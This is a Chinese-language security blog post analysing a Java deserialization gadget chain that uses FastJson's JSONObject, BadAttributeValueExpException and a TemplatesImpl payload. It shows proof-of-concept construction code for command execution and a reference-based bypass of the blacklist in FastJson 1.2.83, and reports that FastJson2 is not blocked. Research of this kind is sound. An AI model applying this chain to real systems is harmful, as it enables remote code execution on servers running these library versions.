前言
555,学习。
FastJson
使用1.2.47版本的FastJson作为测试环境,一切的源头始于一个继承了Serializable接口,并且还是FastJson反序列化流程关键类的JSONObject,通过反序列化BadAttributeValueExpException、XString或者PropertyKey等类可以触发其toString函数:
@Override
public String toString() {
return toJSONString();
}
public String toJSONString() {
SerializeWriter out = new SerializeWriter();
try {
new JSONSerializer(out).write(this);
return out.toString();
} finally {
out.close();
}
}
为了将自身化为一个String,JSONObject会使用库中的序列化器序列化自身,由于JSONObject是一个Map对象,所以会遍历并序列化其中的元素,对象序列化过程中就会触发其getter函数们。
FastJson < 1.2.48
简单生成一个测试用对象:
Object templates = Utils.getTemplatesPOC(cmd);
JSONObject jsonObject = new JSONObject();
jsonObject.put("xx", templates);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Utils.setField(badAttributeValueExpException, "val", jsonObject);
根据调试,发现此时生成的Serializer不是常用的JavaBeanSerializer,而是使用ASM框架编写字节码特别定制的一个ASMSerializer,看起来会在_get函数中写入getter函数的调用:
Method method = fieldInfo.method;
if (method != null) {
mw.visitVarInsn(ALOAD, context.var("entity"));
Class<?> declaringClass = method.getDeclaringClass();
mw.visitMethodInsn(declaringClass.isInterface() ? INVOKEINTERFACE : INVOKEVIRTUAL, type(declaringClass), method.getName(), desc(method));
if (!method.getReturnType().equals(fieldInfo.fieldClass)) {
mw.visitTypeInsn(CHECKCAST, type(fieldInfo.fieldClass)); // cast
}
}
该测试用对象经序列化、反序列化后可以正常触发命令执行。
FastJson >= 1.2.48
将环境下的FastJson换成1.2.83版本的,会发现FastJson反序列化时触发了黑名单:
com.alibaba.fastjson.JSONException: autoType is not support. com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
at com.alibaba.fastjson.parser.ParserConfig.checkAutoType(ParserConfig.java:1413)
读一下源码,可以看到JSONObject的readObject函数使用了SecureObjectInputStream作为自己的反序列化类:
if (SecureObjectInputStream.fields != null && !SecureObjectInputStream.fields_error) {
ObjectInputStream secIn = new SecureObjectInputStream(in);
try {
secIn.defaultReadObject();
return;
} catch (java.io.NotActiveException e) {
// skip
}
}
看起来,关键的过滤函数是SecureObjectInputStream类的resolveClass函数:
if (TypeUtils.getClassFromMapping(name) == null) {
ParserConfig.global.checkAutoType(name, null, Feature.SupportAutoType.mask);
}
作为一个Map反序列化自身元素时会应用FastJson的安全机制进行验证,但是要触发该验证机制必须要满足一个前提,那就是这个TemplatesImpl对象是通过JSONObject反序列化的,即此时内存中没有该对象,需要在此刻被反序列化。
然而在Java反序列化机制中,存在一个reference机制,可以先反序列化TemplatesImpl对象,再通过reference链接到JSONObject中。
用ArrayList简单测试一下:
Object templates = Utils.getTemplatesPOC(cmd);
JSONObject jsonObject = new JSONObject();
jsonObject.put("xx", templates);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Utils.setField(badAttributeValueExpException, "val", jsonObject);
ArrayList arrayList = new ArrayList();
arrayList.add(templates);
arrayList.add(badAttributeValueExpException);
该测试用对象经序列化、反序列化后可以正常触发命令执行。
FastJson2
测试后发现,似乎可以直接触发,TemplatesImpl没有受到黑名单限制。
参考
本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!